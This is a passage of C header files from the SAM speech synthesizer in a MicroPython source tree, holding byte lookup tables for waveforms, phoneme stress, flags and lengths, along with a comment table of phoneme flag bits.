, 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0x00 , 0x00 }; //tab42496 const unsigned char rectangle[] = { 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 }; //tab42752 const unsigned char multtable[] = { 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 1 , 1 , 2 , 2 , 3 , 3 , 4 , 4 , 5 , 5 , 6 , 6 , 7 , 7 , 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ,0xA ,0xB ,0xC ,0xD ,0xE ,0xF , 0x00 , 1 , 3 , 4 , 6 , 7 , 9 ,0xA , 0xC ,0xD ,0xF , 0x10 , 0x12 , 0x13 , 0x15 , 0x16 , 0x00 , 2 , 4 , 6 , 8 ,0xA ,0xC ,0xE , 0x10 , 0x12 , 0x14 , 0x16 , 0x18 , 0x1A , 0x1C , 0x1E , 0x00 , 2 , 5 , 7 ,0xA ,0xC ,0xF , 0x11 , 0x14 , 0x16 , 0x19 , 0x1B , 0x1E , 0x20 , 0x23 , 0x25 , 0x00 , 3 , 6 , 9 ,0xC ,0xF , 0x12 , 0x15 , 0x18 , 0x1B , 0x1E , 0x21 , 0x24 , 0x27 , 0x2A , 0x2D , 0x00 , 0x03 , 0x07 , 0x0A , 0x0E , 0x11 , 0x15 , 0x18 , 0x1C , 0x1F , 0x23 , 0x26 , 0x2A , 0x2D , 0x31 , 0x34 , 0x00 , 0xFC , 0xF8 , 0xF4 , 0xF0 , 0xEC , 0xE8 , 0xE4 , 0xE0 , 0xDC , 0xD8 , 0xD4 , 0xD0 , 0xCC , 0xC8 , 0xC4 , 0x00 , 0xFC , 0xF9 , 0xF5 , 0xF2 , 0xEE , 0xEB , 0xE7 , 0xE4 , 0xE0 , 0xDD , 0xD9 , 0xD6 , 0xD2 , 0xCF , 0xCB , 0x00 , 0xFD , 0xFA , 0xF7 , 0xF4 , 0xF1 , 0xEE , 0xEB , 0xE8 , 0xE5 , 0xE2 , 0xDF , 0xDC , 0xD9 , 0xD6 , 0xD3 , 0x00 , 0xFD , 0xFB , 0xF8 , 0xF6 , 0xF3 , 0xF1 , 0xEE , 0xEC , 0xE9 , 0xE7 , 0xE4 , 0xE2 , 0xDF , 0xDD , 0xDA , 0x00 , 0xFE , 0xFC , 0xFA , 0xF8 , 0xF6 , 0xF4 , 0xF2 , 0xF0 , 0xEE , 0xEC , 0xEA , 0xE8 , 0xE6 , 0xE4 , 0xE2 , 0x00 , 0xFE , 0xFD , 0xFB , 0xFA , 0xF8 , 0xF7 , 0xF5 , 0xF4 , 0xF2 , 0xF1 , 0xEF , 0xEE , 0xEC , 0xEB , 0xE9 , 0x00 , 0xFF , 0xFE , 0xFD , 0xFC , 0xFB , 0xFA , 0xF9 , 0xF8 , 0xF7 , 0xF6 , 0xF5 , 0xF4 , 0xF3 , 0xF2 , 0xF1 , 0x00 , 0xFF , 0xFF , 0xFE , 0xFE , 0xFD , 0xFD , 0xFC , 0xFC , 0xFB , 0xFB , 0xFA , 0xFA , 0xF9 , 0xF9 , 0xF8 }; //random data ? const unsigned char sampleTable[0x500] = { //00 0x38 , 0x84 , 0x6B , 0x19 , 0xC6 , 0x63 , 0x18 , 0x86 , 0x73 , 0x98 , 0xC6 , 0xB1 , 0x1C , 0xCA , 0x31 , 0x8C , 0xC7 , 0x31 , 0x88 , 0xC2 , 0x30 , 0x98 , 0x46 , 0x31 , 0x18 , 0xC6 , 0x35 ,0xC , 0xCA , 0x31 ,0xC , 0xC6 //20 , 0x21 , 0x10 , 0x24 , 0x69 , 0x12 , 0xC2 , 0x31 , 0x14 , 0xC4 , 0x71 , 8 , 0x4A , 0x22 , 0x49 , 0xAB , 0x6A , 0xA8 , 0xAC , 0x49 , 0x51 , 0x32 , 0xD5 , 0x52 , 0x88 , 0x93 , 0x6C , 0x94 , 0x22 , 0x15 , 0x54 , 0xD2 , 0x25 //40 , 0x96 , 0xD4 , 0x50 , 0xA5 , 0x46 , 0x21 , 8 , 0x85 , 0x6B , 0x18 , 0xC4 , 0x63 , 0x10 , 0xCE , 0x6B , 0x18 , 0x8C , 0x71 , 0x19 , 0x8C , 0x63 , 0x35 ,0xC , 0xC6 , 0x33 , 0x99 , 0xCC , 0x6C , 0xB5 , 0x4E , 0xA2 , 0x99 //60 , 0x46 , 0x21 , 0x28 , 0x82 , 0x95 , 0x2E , 0xE3 , 0x30 , 0x9C , 0xC5 , 0x30 , 0x9C , 0xA2 , 0xB1 , 0x9C , 0x67 , 0x31 , 0x88 , 0x66 , 0x59 , 0x2C , 0x53 , 0x18 , 0x84 , 0x67 , 0x50 , 0xCA , 0xE3 ,0xA , 0xAC , 0xAB , 0x30 //80 , 0xAC , 0x62 , 0x30 , 0x8C , 0x63 , 0x10 , 0x94 , 0x62 , 0xB1 , 0x8C , 0x82 , 0x28 , 0x96 , 0x33 , 0x98 , 0xD6 , 0xB5 , 0x4C , 0x62 , 0x29 , 0xA5 , 0x4A , 0xB5 , 0x9C , 0xC6 , 0x31 , 0x14 , 0xD6 , 0x38 , 0x9C , 0x4B , 0xB4 //A0 , 0x86 , 0x65 , 0x18 , 0xAE , 0x67 , 0x1C , 0xA6 , 0x63 , 0x19 , 0x96 , 0x23 , 0x19 , 0x84 , 0x13 , 8 , 0xA6 , 0x52 , 0xAC , 0xCA , 0x22 , 0x89 , 0x6E , 0xAB , 0x19 , 0x8C , 0x62 , 0x34 , 0xC4 , 0x62 , 0x19 , 0x86 , 0x63 //C0 , 0x18 , 0xC4 , 0x23 , 0x58 , 0xD6 , 0xA3 , 0x50 , 0x42 , 0x54 , 0x4A , 0xAD , 0x4A , 0x25 , 0x11 , 0x6B , 0x64 , 0x89 , 0x4A , 0x63 , 0x39 , 0x8A , 0x23 , 0x31 , 0x2A , 0xEA , 0xA2 , 0xA9 , 0x44 , 0xC5 , 0x12 , 0xCD , 0x42 //E0 , 0x34 , 0x8C , 0x62 , 0x18 , 0x8C , 0x63 , 0x11 , 0x48 , 0x66 , 0x31 , 0x9D , 0x44 , 0x33 , 0x1D , 0x46 , 0x31 , 0x9C , 0xC6 , 0xB1 ,0xC , 0xCD , 0x32 , 0x88 , 0xC4 , 0x73 , 0x18 , 0x86 , 0x73 , 8 , 0xD6 , 0x63 , 0x58 //100 , 7 , 0x81 , 0xE0 , 0xF0 , 0x3C , 7 , 0x87 , 0x90 , 0x3C , 0x7C ,0xF , 0xC7 , 0xC0 , 0xC0 , 0xF0 , 0x7C , 0x1E , 7 , 0x80 , 0x80 , 0 , 0x1C , 0x78 , 0x70 , 0xF1 , 0xC7 , 0x1F , 0xC0 ,0xC , 0xFE , 0x1C , 0x1F //120 , 0x1F ,0xE ,0xA , 0x7A , 0xC0 , 0x71 , 0xF2 , 0x83 , 0x8F , 3 ,0xF ,0xF ,0xC , 0 , 0x79 , 0xF8 , 0x61 , 0xE0 , 0x43 ,0xF , 0x83 , 0xE7 , 0x18 , 0xF9 , 0xC1 , 0x13 , 0xDA , 0xE9 , 0x63 , 0x8F ,0xF , 0x83 //140 , 0x83 , 0x87 , 0xC3 , 0x1F , 0x3C , 0x70 , 0xF0 , 0xE1 , 0xE1 , 0xE3 , 0x87 , 0xB8 , 0x71 ,0xE , 0x20 , 0xE3 , 0x8D , 0x48 , 0x78 , 0x1C , 0x93 , 0x87 , 0x30 , 0xE1 , 0xC1 , 0xC1 , 0xE4 , 0x78 , 0x21 , 0x83 , 0x83 , 0xC3 //160 , 0x87 , 6 , 0x39 , 0xE5 , 0xC3 , 0x87 , 7 ,0xE , 0x1C , 0x1C , 0x70 , 0xF4 , 0x71 , 0x9C , 0x60 , 0x36 , 0x32 , 0xC3 , 0x1E , 0x3C , 0xF3 , 0x8F ,0xE , 0x3C , 0x70 , 0xE3 , 0xC7 , 0x8F ,0xF ,0xF ,0xE , 0x3C //180 , 0x78 , 0xF0 , 0xE3 , 0x87 , 6 , 0xF0 , 0xE3 , 7 , 0xC1 , 0x99 , 0x87 ,0xF , 0x18 , 0x78 , 0x70 , 0x70 , 0xFC , 0xF3 , 0x10 , 0xB1 , 0x8C , 0x8C , 0x31 , 0x7C , 0x70 , 0xE1 , 0x86 , 0x3C , 0x64 , 0x6C , 0xB0 , 0xE1 //1A0 , 0xE3 ,0xF , 0x23 , 0x8F ,0xF , 0x1E , 0x3E , 0x38 , 0x3C , 0x38 , 0x7B , 0x8F , 7 ,0xE , 0x3C , 0xF4 , 0x17 , 0x1E , 0x3C , 0x78 , 0xF2 , 0x9E , 0x72 , 0x49 , 0xE3 , 0x25 , 0x36 , 0x38 , 0x58 , 0x39 , 0xE2 , 0xDE //1C0 , 0x3C , 0x78 , 0x78 , 0xE1 , 0xC7 , 0x61 , 0xE1 , 0xE1 , 0xB0 , 0xF0 , 0xF0 , 0xC3 , 0xC7 ,0xE , 0x38 , 0xC0 , 0xF0 , 0xCE , 0x73 , 0x73 , 0x18 , 0x34 , 0xB0 , 0xE1 , 0xC7 , 0x8E , 0x1C , 0x3C , 0xF8 , 0x38 , 0xF0 , 0xE1 //1E0 , 0xC1 , 0x8B , 0x86 , 0x8F , 0x1C , 0x78 , 0x70 , 0xF0 , 0x78 , 0xAC , 0xB1 , 0x8F , 0x39 , 0x31 , 0xDB , 0x38 , 0x61 , 0xC3 ,0xE ,0xE , 0x38 , 0x78 , 0x73 , 0x17 , 0x1E , 0x39 , 0x1E , 0x38 , 0x64 , 0xE1 , 0xF1 , 0xC1 //200 , 0x4E ,0xF , 0x40 , 0xA2 , 2 , 0xC5 , 0x8F , 0x81 , 0xA1 , 0xFC , 0x12 , 8 , 0x64 , 0xE0 , 0x3C , 0x22 , 0xE0 , 0x45 , 7 , 0x8E ,0xC , 0x32 , 0x90 , 0xF0 , 0x1F , 0x20 , 0x49 , 0xE0 , 0xF8 ,0xC , 0x60 , 0xF0 //220 , 0x17 , 0x1A , 0x41 , 0xAA , 0xA4 , 0xD0 , 0x8D , 0x12 , 0x82 , 0x1E , 0x1E , 3 , 0xF8 , 0x3E , 3 ,0xC , 0x73 , 0x80 , 0x70 , 0x44 , 0x26 , 3 , 0x24 , 0xE1 , 0x3E , 4 , 0x4E , 4 , 0x1C , 0xC1 , 9 , 0xCC //240 , 0x9E , 0x90 , 0x21 , 7 , 0x90 , 0x43 , 0x64 , 0xC0 , 0xF , 0xC6 , 0x90 , 0x9C , 0xC1 , 0x5B , 3 , 0xE2 , 0x1D , 0x81 , 0xE0 , 0x5E , 0x1D , 3 , 0x84 , 0xB8 , 0x2C ,0xF , 0x80 , 0xB1 , 0x83 , 0xE0 , 0x30 , 0x41 //260 , 0x1E , 0x43 , 0x89 , 0x83 , 0x50 , 0xFC , 0x24 , 0x2E , 0x13 , 0x83 , 0xF1 , 0x7C , 0x4C , 0x2C , 0xC9 ,0xD , 0x83 , 0xB0 , 0xB5 , 0x82 , 0xE4 , 0xE8 , 6 , 0x9C , 7 , 0xA0 , 0x99 , 0x1D , 7 , 0x3E , 0x82 , 0x8F //280 , 0x70 , 0x30 , 0x74 , 0x40 , 0xCA , 0x10 , 0xE4 , 0xE8 , 0xF , 0x92 , 0x14 , 0x3F , 6 , 0xF8 , 0x84 , 0x88 , 0x43 , 0x81 ,0xA , 0x34 , 0x39 , 0x41 , 0xC6 , 0xE3 , 0x1C , 0x47 , 3 , 0xB0 , 0xB8 , 0x13 ,0xA , 0xC2 //2A0 , 0x64 , 0xF8 , 0x18 , 0xF9 , 0x60 , 0xB3 , 0xC0 , 0x65 , 0x20 , 0x60 , 0xA6 , 0x8C , 0xC3 , 0x81 , 0x20 , 0x30 , 0x26 , 0x1E , 0x1C , 0x38 , 0xD3 , 1 , 0xB0 , 0x26 , 0x40 , 0xF4 ,0xB , 0xC3 , 0x42 , 0x1F , 0x85 , 0x32 //2C0 , 0x26 , 0x60 , 0x40 , 0xC9 , 0xCB , 1 , 0xEC , 0x11 , 0x28 , 0x40 , 0xFA , 4 , 0x34 , 0xE0 , 0x70 , 0x4C , 0x8C , 0x1D , 7 , 0x69 , 3 , 0x16 , 0xC8 , 4 , 0x23 , 0xE8 , 0xC6 , 0x9A ,0xB , 0x1A , 3 , 0xE0 //2E0 , 0x76 , 6 , 5 , 0xCF , 0x1E , 0xBC , 0x58 , 0x31 , 0x71 , 0x66 , 0 , 0xF8 , 0x3F , 4 , 0xFC ,0xC , 0x74 , 0x27 , 0x8A , 0x80 , 0x71 , 0xC2 , 0x3A , 0x26 , 6 , 0xC0 , 0x1F , 5 ,0xF , 0x98 , 0x40 , 0xAE //300 , 1 , 0x7F , 0xC0 , 7 , 0xFF , 0 ,0xE , 0xFE , 0 , 3 , 0xDF , 0x80 , 3 , 0xEF , 0x80 , 0x1B , 0xF1 , 0xC2 , 0 , 0xE7 , 0xE0 , 0x18 , 0xFC , 0xE0 , 0x21 , 0xFC , 0x80 , 0x3C , 0xFC , 0x40 ,0xE , 0x7E //320 , 0 , 0x3F , 0x3E , 0 ,0xF , 0xFE , 0 , 0x1F , 0xFF , 0 , 0x3E , 0xF0 , 7 , 0xFC , 0 , 0x7E , 0x10 , 0x3F , 0xFF , 0 , 0x3F , 0x38 ,0xE , 0x7C , 1 , 0x87 ,0xC , 0xFC , 0xC7 , 0 , 0x3E , 4 //340 , 0xF , 0x3E , 0x1F ,0xF ,0xF , 0x1F ,0xF , 2 , 0x83 , 0x87 , 0xCF , 3 , 0x87 ,0xF , 0x3F , 0xC0 , 7 , 0x9E , 0x60 , 0x3F , 0xC0 , 3 , 0xFE , 0 , 0x3F , 0xE0 , 0x77 , 0xE1 , 0xC0 , 0xFE , 0xE0 , 0xC3 //360 , 0xE0 , 1 , 0xDF , 0xF8 , 3 , 7 , 0 , 0x7E , 0x70 , 0 , 0x7C , 0x38 , 0x18 , 0xFE ,0xC , 0x1E , 0x78 , 0x1C , 0x7C , 0x3E ,0xE , 0x1F , 0x1E , 0x1E , 0x3E , 0 , 0x7F , 0x83 , 7 , 0xDB , 0x87 , 0x83 //380 , 7 , 0xC7 , 7 , 0x10 , 0x71 , 0xFF , 0 , 0x3F , 0xE2 , 1 , 0xE0 , 0xC1 , 0xC3 , 0xE1 , 0 , 0x7F , 0xC0 , 5 , 0xF0 , 0x20 , 0xF8 , 0xF0 , 0x70 , 0xFE , 0x78 , 0x79 , 0xF8 , 2 , 0x3F ,0xC , 0x8F , 3 //3a0 , 0xF , 0x9F , 0xE0 , 0xC1 , 0xC7 , 0x87 , 3 , 0xC3 , 0xC3 , 0xB0 , 0xE1 , 0xE1 , 0xC1 , 0xE3 , 0xE0 , 0x71 , 0xF0 , 0 , 0xFC , 0x70 , 0x7C ,0xC , 0x3E , 0x38 , 0xE , 0x1C , 0x70 , 0xC3 , 0xC7 , 3 , 0x81 , 0xC1 //3c0 , 0xC7 , 0xE7 , 0 ,0xF , 0xC7 , 0x87 , 0x19 , 9 , 0xEF , 0xC4 , 0x33 , 0xE0 , 0xC1 , 0xFC , 0xF8 , 0x70 , 0xF0 , 0x78 , 0xF8 , 0xF0 , 0x61 , 0xC7 , 0 , 0x1F , 0xF8 , 1 , 0x7C , 0xF8 , 0xF0 , 0x78 , 0x70 , 0x3C //3e0 , 0x7C , 0xCE ,0xE , 0x21 , 0x83 , 0xCF , 8 , 7 , 0x8F , 8 , 0xC1 , 0x87 , 0x8F , 0x80 , 0xC7 , 0xE3 , 0 , 7 , 0xF8 , 0xE0 , 0xEF , 0 , 0x39 , 0xF7 , 0x80 ,0xE , 0xF8 , 0xE1 , 0xE3 , 0xF8 , 0x21 , 0x9F //400 , 0xC0 , 0xFF , 3 , 0xF8 , 7 , 0xC0 , 0x1F , 0xF8 , 0xC4 , 4 , 0xFC , 0xC4 , 0xC1 , 0xBC , 0x87 , 0xF0 , 0xF , 0xC0 , 0x7F , 5 , 0xE0 , 0x25 , 0xEC , 0xC0 , 0x3E , 0x84 , 0x47 , 0xF0 , 0x8E , 3 , 0xF8 , 3 //420 , 0xFB , 0xC0 , 0x19 , 0xF8 , 7 , 0x9C ,0xC , 0x17 , 0xF8 , 7 , 0xE0 , 0x1F , 0xA1 , 0xFC ,0xF , 0xFC , 1 , 0xF0 , 0x3F , 0 , 0xFE , 3 , 0xF0 , 0x1F , 0 , 0xFD , 0 , 0xFF , 0x88 ,0xD , 0xF9 , 1 //440 , 0xFF , 0 , 0x70 , 7 , 0xC0 , 0x3E , 0x42 , 0xF3 , 0xD , 0xC4 , 0x7F , 0x80 , 0xFC , 7 , 0xF0 , 0x5E , 0xC0 , 0x3F , 0 , 0x78 , 0x3F , 0x81 , 0xFF , 1 , 0xF8 , 1 , 0xC3 , 0xE8 ,0xC , 0xE4 , 0x64 , 0x8F ////460 , 0xE4 ,0xF , 0xF0 , 7 , 0xF0 , 0xC2 , 0x1F , 0 , 0x7F , 0xC0 , 0x6F , 0x80 , 0x7E , 3 , 0xF8 , 7 , 0xF0 , 0x3F , 0xC0 , 0x78 ,0xF , 0x82 , 7 , 0xFE , 0x22 , 0x77 , 0x70 , 2 , 0x76 , 3 , 0xFE , 0 //480 , 0xFE , 0x67 , 0 , 0x7C , 0xC7 , 0xF1 , 0x8E , 0xC6 , 0x3B , 0xE0 , 0x3F , 0x84 , 0xF3 , 0x19 , 0xD8 , 3 , 0x99 , 0xFC , 9 , 0xB8 ,0xF , 0xF8 , 0 , 0x9D , 0x24 , 0x61 , 0xF9 ,0xD , 0 , 0xFD , 3 , 0xF0 //4a0 , 0x1F , 0x90 , 0x3F , 1 , 0xF8 , 0x1F , 0xD0 ,0xF , 0xF8 , 0x37 , 1 , 0xF8 , 7 , 0xF0 ,0xF , 0xC0 , 0x3F , 0 , 0xFE , 3 , 0xF8 ,0xF , 0xC0 , 0x3F , 0 , 0xFA , 3 , 0xF0 ,0xF , 0x80 , 0xFF , 1 //4c0 , 0xB8 , 7 , 0xF0 , 1 , 0xFC , 1 , 0xBC , 0x80 , 0x13 , 0x1E , 0 , 0x7F , 0xE1 , 0x40 , 0x7F , 0xA0 , 0x7F , 0xB0 , 0 , 0x3F , 0xC0 , 0x1F , 0xC0 , 0x38 , 0xF , 0xF0 , 0x1F , 0x80 , 0xFF , 1 , 0xFC , 3 //4e0 , 0xF1 , 0x7E , 1 , 0xFE , 1 , 0xF0 , 0xFF , 0 , 0x7F , 0xC0 , 0x1D , 7 , 0xF0 ,0xF , 0xC0 , 0x7E , 6 , 0xE0 , 7 , 0xE0 ,0xF , 0xF8 , 6 , 0xC1 , 0xFE , 1 , 0xFC , 3 , 0xE0 ,0xF , 0 , 0xFC }; #endif ================================================ FILE: micropython/source/lib/sam/SamTabs.h ================================================ #ifndef SAMTABS_H #define SAMTABS_H //tab40672 const unsigned char stressInputTable[] = { '*', '1', '2', '3', '4', '5', '6', '7', '8' }; //tab40682 const unsigned char signInputTable1[]={ ' ', '.', '?', ',', '-', 'I', 'I', 'E', 'A', 'A', 'A', 'A', 'U', 'A', 'I', 'E', 'U', 'O', 'R', 'L', 'W', 'Y', 'W', 'R', 'L', 'W', 'Y', 'M', 'N', 'N', 'D', 'Q', 'S', 'S', 'F', 'T', '/', '/', 'Z', 'Z', 'V', 'D', 'C', '*', 'J', '*', '*', '*', 'E', 'A', 'O', 'A', 'O', 'U', 'B', '*', '*', 'D', '*', '*', 'G', '*', '*', 'G', '*', '*', 'P', '*', '*', 'T', '*', '*', 'K', '*', '*', 'K', '*', '*', 'U', 'U', 'U' }; //tab40763 const unsigned char signInputTable2[] = { '*', '*', '*', '*', '*', 'Y', 'H', 'H', 'E', 'A', 'H', 'O', 'H', 'X', 'X', 'R', 'X', 'H', 'X', 'X', 'X', 'X', 'H', '*', '*', '*', '*', '*', '*', 'X', 'X', '*', '*', 'H', '*', 'H', 'H', 'X', '*', 'H', '*', 'H', 'H', '*', '*', '*', '*', '*', 'Y', 'Y', 'Y', 'W', 'W', 'W', '*', '*', '*', '*', '*', '*', '*', '*', '*', 'X', '*', '*', '*', '*', '*', '*', '*', '*', '*', '*', '*', 'X', '*', '*', 'L', 'M', 'N' }; //loc_9F8C const unsigned char flags[]={ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xA4 , 0xA4 , 0xA4 , 0xA4 , 0xA4 , 0xA4 , 0x84 , 0x84 , 0xA4 , 0xA4 , 0x84 , 0x84 , 0x84 , 0x84 , 0x84 , 0x84 , 0x84 , 0x44 , 0x44 , 0x44 , 0x44 , 0x44 , 0x4C , 0x4C , 0x4C , 0x48 , 0x4C , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x44 , 0x44 , 0x44 , 0x44 , 0x48 , 0x40 , 0x4C , 0x44 , 0x00 , 0x00 , 0xB4 , 0xB4 , 0xB4 , 0x94 , 0x94 , 0x94 , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x80 , 0xC1 , 0xC1 }; //??? flags overlap flags2 //loc_9FDA const unsigned char flags2[] = { 0x80 , 0xC1 , 0xC1 , 0xC1 , 0xC1 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x10 , 0x10 , 0x10 , 0x08 , 0x0C , 0x08 , 0x04 , 0x40 , 0x24 , 0x20 , 0x20 , 0x24 , 0x00 , 0x00 , 0x24 , 0x20 , 0x20 , 0x24 , 0x20 , 0x20 , 0x00 , 0x20 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x04 , 0x04 , 0x04 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x04 , 0x04 , 0x04 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 }; //tab45616??? const unsigned char phonemeStressedLengthTable[] = { 0x00 , 0x12 , 0x12 , 0x12 , 8 ,0xB , 9 ,0xB , 0xE ,0xF ,0xB , 0x10 ,0xC , 6 , 6 ,0xE , 0xC ,0xE ,0xC ,0xB , 8 , 8 ,0xB ,0xA , 9 , 8 , 8 , 8 , 8 , 8 , 3 , 5 , 2 , 2 , 2 , 2 , 2 , 2 , 6 , 6 , 8 , 6 , 6 , 2 , 9 , 4 , 2 , 1 , 0xE ,0xF ,0xF ,0xF ,0xE ,0xE , 8 , 2 , 2 , 7 , 2 , 1 , 7 , 2 , 2 , 7 , 2 , 2 , 8 , 2 , 2 , 6 , 2 , 2 , 7 , 2 , 4 , 7 , 1 , 4 , 5 , 5 }; //tab45536??? const unsigned char phonemeLengthTable[] = { 0 , 0x12 , 0x12 , 0x12 , 8 , 8 , 8 , 8 , 8 ,0xB , 6 ,0xC ,0xA , 5 , 5 ,0xB , 0xA ,0xA ,0xA , 9 , 8 , 7 , 9 , 7 , 6 , 8 , 6 , 7 , 7 , 7 , 2 , 5 , 2 , 2 , 2 , 2 , 2 , 2 , 6 , 6 , 7 , 6 , 6 , 2 , 8 , 3 , 1 , 0x1E , 0xD ,0xC ,0xC ,0xC ,0xE , 9 , 6 , 1 , 2 , 5 , 1 , 1 , 6 , 1 , 2 , 6 , 1 , 2 , 8 , 2 , 2 , 4 , 2 , 2 , 6 , 1 , 4 , 6 , 1 , 4 , 0xC7 , 0xFF }; /* Ind | phoneme | flags | -----|---------|----------| 0 | * | 00000000 | 1 | .* | 00000000 | 2 | ?* | 00000000 | 3 | ,* | 00000000 | 4 | -* | 00000000 | VOWELS 5 | IY | 10100100 | 6 | IH | 10100100 | 7 | EH | 10100100 | 8 | AE | 10100100 | 9 | AA | 10100100 | 10 | AH | 10100100 | 11 | AO | 10000100 | 17 | OH | 10000100 | 12 | UH | 10000100 | 16 | UX | 10000100 | 15 | ER | 10000100 | 13 | AX | 10100100 | 14 | IX | 10100100 | DIPHTONGS 48 | EY | 10110100 | 49 | AY | 10110100 | 50 | OY | 10110100 | 51 | AW | 10010100 | 52 | OW | 10010100 | 53 | UW | 10010100 | 21 | YX | 10000100 | 20 | WX | 10000100 | 18 | RX | 10000100 | 19 | LX | 10000100 | 37 | /X | 01000000 | 30 | DX | 01001000 | 22 | WH | 01000100 | VOICED CONSONANTS 23 | R* | 01000100 | 24 | L* | 01000100 | 25 | W* | 01000100 | 26 | Y* | 01000100 | 27 | M* | 01001100 | 28 | N* | 01001100 | 29 | NX | 01001100 | 54 | B* | 01001110 | 57 | D* | 01001110 | 60 | G* | 01001110 | 44 | J* | 01001100 | 38 | Z* | 01000100 | 39 | ZH | 01000100 | 40 | V* | 01000100 | 41 | DH | 01000100 | unvoiced CONSONANTS 32 | S* | 01000000 | 33 | SH | 01000000 | 34 | F* | 01000000 | 35 | TH | 01000000 | 66 | P* | 01001011 | 69 | T* | 01001011 | 72 | K* | 01001011 | 42 | CH | 01001000 | 36 | /H | 01000000 | 43 | ** | 01000000 | 45 | ** | 01000100 | 46 | ** | 00000000 | 47 | ** | 00000000 | 55 | ** | 01001110 | 56 | ** | 01001110 | 58 | ** | 01001110 | 59 | ** | 01001110 | 61 | ** | 01001110 | 62 | ** | 01001110 | 63 | GX | 01001110 | 64 | ** | 01001110 | 65 | ** | 01001110 | 67 | ** | 01001011 | 68 | ** 